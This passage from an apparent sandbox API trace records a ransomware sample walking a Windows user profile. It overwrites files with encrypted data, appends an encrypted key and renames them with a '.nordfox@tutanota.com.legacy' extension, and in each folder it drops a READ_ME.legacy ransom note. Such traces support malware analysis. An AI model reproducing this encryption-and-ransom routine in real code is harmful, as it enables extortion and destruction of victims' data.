lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\aaa_Classic_{728047C0-00D2-4FDB-A069-06338B92E93B}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_classic_{728047c0-00d2-4fdb-a069-06338b92e93b}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.818] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0199.818] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.818] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\aaa_Classic_{241d7c96-f8bf-4f85-b01f-e2b043341a4b}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.819] ReadFile (in: hFile=0x1c24, lpBuffer=0x555b90, nNumberOfBytesToRead=0x35d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x555b90*, lpNumberOfBytesRead=0x2e1f9bc*=0x35d, lpOverlapped=0x0) returned 1 [0199.820] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-861, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.820] WriteFile (in: hFile=0x1c24, lpBuffer=0x30f68c0*, nNumberOfBytesToWrite=0x35d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x35d, lpOverlapped=0x0) returned 1 [0199.821] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x35d [0199.821] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.821] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.821] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.821] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.822] CloseHandle (hObject=0x1c24) returned 1 [0199.822] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\aaa_Classic_{241d7c96-f8bf-4f85-b01f-e2b043341a4b}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_classic_{241d7c96-f8bf-4f85-b01f-e2b043341a4b}.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\aaa_Classic_{241d7c96-f8bf-4f85-b01f-e2b043341a4b}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_classic_{241d7c96-f8bf-4f85-b01f-e2b043341a4b}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.825] SetLastError (dwErrCode=0x0) [0199.825] GetLastError () returned 0x0 [0199.825] SetLastError (dwErrCode=0x0) [0199.825] GetLastError () returned 0x0 [0199.825] SetLastError (dwErrCode=0x0) [0199.826] SetLastError (dwErrCode=0x0) [0199.826] GetLastError () returned 0x0 [0199.826] SetLastError (dwErrCode=0x0) [0199.826] GetLastError () returned 0x0 [0199.826] SetLastError (dwErrCode=0x0) [0199.826] SetLastError (dwErrCode=0x0) [0199.826] GetLastError () returned 0x0 [0199.826] SetLastError (dwErrCode=0x0) [0199.826] GetLastError () returned 0x0 [0199.826] SetLastError (dwErrCode=0x0) [0199.826] SetLastError (dwErrCode=0x0) [0199.826] GetLastError () returned 0x0 [0199.826] SetLastError (dwErrCode=0x0) [0199.826] GetLastError () returned 0x0 [0199.826] SetLastError (dwErrCode=0x0) [0199.827] WriteFile (in: hFile=0x1c28, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0199.828] CloseHandle (hObject=0x1c28) returned 1 [0199.828] FindNextFileW (in: hFindFile=0x30d48f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd26be58, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfd26be58, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfd26be58, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0199.828] SetLastError (dwErrCode=0x0) [0199.828] GetLastError () returned 0x0 [0199.828] SetLastError (dwErrCode=0x0) [0199.828] GetLastError () returned 0x0 [0199.828] SetLastError (dwErrCode=0x0) [0199.828] FindNextFileW (in: hFindFile=0x30d48f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd26be58, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfd26be58, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfd26be58, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0199.828] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f4df4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x1a57fc00, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd292300, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4c70 [0199.828] SetLastError (dwErrCode=0x12) [0199.829] GetLastError () returned 0x12 [0199.829] SetLastError (dwErrCode=0x12) [0199.829] GetLastError () returned 0x12 [0199.829] SetLastError (dwErrCode=0x12) [0199.829] FindNextFileW (in: hFindFile=0x30d4c70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f4df4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x1a57fc00, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd292300, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0199.829] SetLastError (dwErrCode=0x12) [0199.829] GetLastError () returned 0x12 [0199.829] SetLastError (dwErrCode=0x12) [0199.829] GetLastError () returned 0x12 [0199.829] SetLastError (dwErrCode=0x12) [0199.829] FindNextFileW (in: hFindFile=0x30d4c70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe695a8e5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c43548, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c43548, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="#aa.online-metrix.net", cAlternateFileName="#AAONL~1.NET")) returned 1 [0199.829] SetLastError (dwErrCode=0x12) [0199.829] GetLastError () returned 0x12 [0199.829] SetLastError (dwErrCode=0x12) [0199.829] SetLastError (dwErrCode=0x12) [0199.829] SetLastError (dwErrCode=0x12) [0199.829] GetLastError () returned 0x12 [0199.830] SetLastError (dwErrCode=0x12) [0199.830] GetLastError () returned 0x12 [0199.830] SetLastError (dwErrCode=0x12) [0199.830] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c2c [0199.831] WriteFile (in: hFile=0x1c2c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0199.831] CloseHandle (hObject=0x1c2c) returned 1 [0199.831] FindNextFileW (in: hFindFile=0x30d4c70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd292300, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfd292300, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfd292300, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0199.831] SetLastError (dwErrCode=0x0) [0199.831] GetLastError () returned 0x0 [0199.832] SetLastError (dwErrCode=0x0) [0199.832] SetLastError (dwErrCode=0x0) [0199.832] FindNextFileW (in: hFindFile=0x30d4c70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe53f753e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x1a57fc00, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x1a57fc00, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x212, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="settings.sol", cAlternateFileName="")) returned 1 [0199.832] SetLastError (dwErrCode=0x0) [0199.832] GetLastError () returned 0x0 [0199.832] SetLastError (dwErrCode=0x0) [0199.832] SetLastError (dwErrCode=0x0) [0199.832] FindNextFileW (in: hFindFile=0x30d4c70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe53f753e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x1a57fc00, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x1a57fc00, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x212, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="settings.sol", cAlternateFileName="")) returned 0 [0199.832] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0199.832] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.832] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol", dwFileAttributes=0x80) returned 1 [0199.833] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c2c [0199.833] GetFileSizeEx (in: hFile=0x1c2c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=530) returned 1 [0199.833] ReadFile (in: hFile=0x1c2c, lpBuffer=0x5646a8, nNumberOfBytesToRead=0x212, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5646a8*, lpNumberOfBytesRead=0x2e1f9bc*=0x212, lpOverlapped=0x0) returned 1 [0199.834] SetFilePointer (in: hFile=0x1c2c, lDistanceToMove=-530, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.834] WriteFile (in: hFile=0x1c2c, lpBuffer=0x52f438*, nNumberOfBytesToWrite=0x212, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x52f438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x212, lpOverlapped=0x0) returned 1 [0199.834] SetFilePointer (in: hFile=0x1c2c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x212 [0199.834] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.834] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.834] WriteFile (in: hFile=0x1c2c, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.845] WriteFile (in: hFile=0x1c2c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.845] CloseHandle (hObject=0x1c2c) returned 1 [0199.845] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.848] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\events\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd292300, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4ab0 [0199.848] SetLastError (dwErrCode=0x0) [0199.848] GetLastError () returned 0x0 [0199.848] SetLastError (dwErrCode=0x0) [0199.848] GetLastError () returned 0x0 [0199.848] SetLastError (dwErrCode=0x0) [0199.848] FindNextFileW (in: hFindFile=0x30d4ab0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd292300, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0199.849] SetLastError (dwErrCode=0x0) [0199.849] GetLastError () returned 0x0 [0199.849] SetLastError (dwErrCode=0x0) [0199.849] GetLastError () returned 0x0 [0199.849] SetLastError (dwErrCode=0x0) [0199.849] FindNextFileW (in: hFindFile=0x30d4ab0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd292300, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfd292300, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfd292300, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0199.849] SetLastError (dwErrCode=0x0) [0199.849] GetLastError () returned 0x0 [0199.849] SetLastError (dwErrCode=0x0) [0199.849] SetLastError (dwErrCode=0x0) [0199.849] FindNextFileW (in: hFindFile=0x30d4ab0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd292300, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfd292300, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfd292300, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0199.849] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x147168f2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x14717c78, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xfd2b8766, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4b70 [0199.850] SetLastError (dwErrCode=0x12) [0199.850] GetLastError () returned 0x12 [0199.850] SetLastError (dwErrCode=0x12) [0199.850] GetLastError () returned 0x12 [0199.850] SetLastError (dwErrCode=0x12) [0199.850] FindNextFileW (in: hFindFile=0x30d4b70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x147168f2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x14717c78, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xfd2b8766, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0199.850] SetLastError (dwErrCode=0x12) [0199.850] GetLastError () returned 0x12 [0199.850] SetLastError (dwErrCode=0x12) [0199.850] SetLastError (dwErrCode=0x12) [0199.850] FindNextFileW (in: hFindFile=0x30d4b70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14717c78, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb8403501, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb8403501, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="2017-09", cAlternateFileName="")) returned 1 [0199.850] SetLastError (dwErrCode=0x12) [0199.850] GetLastError () returned 0x12 [0199.850] SetLastError (dwErrCode=0x12) [0199.850] SetLastError (dwErrCode=0x12) [0199.850] SetLastError (dwErrCode=0x12) [0199.850] GetLastError () returned 0x12 [0199.850] SetLastError (dwErrCode=0x12) [0199.851] GetLastError () returned 0x12 [0199.851] SetLastError (dwErrCode=0x12) [0199.851] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c34 [0199.853] WriteFile (in: hFile=0x1c34, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0199.853] CloseHandle (hObject=0x1c34) returned 1 [0199.853] FindNextFileW (in: hFindFile=0x30d4b70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd2b8766, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfd2b8766, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfd2b8766, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0199.854] SetLastError (dwErrCode=0x0) [0199.854] GetLastError () returned 0x0 [0199.854] SetLastError (dwErrCode=0x0) [0199.854] SetLastError (dwErrCode=0x0) [0199.854] FindNextFileW (in: hFindFile=0x30d4b70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd2b8766, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfd2b8766, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfd2b8766, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0199.854] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp\\WINNT_x86_64-msvc\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4079e226, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4079e226, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xfd2de61f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4930 [0199.854] SetLastError (dwErrCode=0x12) [0199.854] GetLastError () returned 0x12 [0199.854] SetLastError (dwErrCode=0x12) [0199.854] GetLastError () returned 0x12 [0199.854] SetLastError (dwErrCode=0x12) [0199.854] FindNextFileW (in: hFindFile=0x30d4930, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4079e226, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4079e226, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xfd2de61f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0199.854] SetLastError (dwErrCode=0x12) [0199.854] GetLastError () returned 0x12 [0199.854] SetLastError (dwErrCode=0x12) [0199.854] GetLastError () returned 0x12 [0199.854] SetLastError (dwErrCode=0x12) [0199.855] FindNextFileW (in: hFindFile=0x30d4930, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd2de61f, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfd2de61f, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfd2de61f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0199.855] SetLastError (dwErrCode=0x12) [0199.855] GetLastError () returned 0x12 [0199.855] SetLastError (dwErrCode=0x12) [0199.855] SetLastError (dwErrCode=0x12) [0199.855] FindNextFileW (in: hFindFile=0x30d4930, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd2de61f, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfd2de61f, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfd2de61f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0199.855] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, 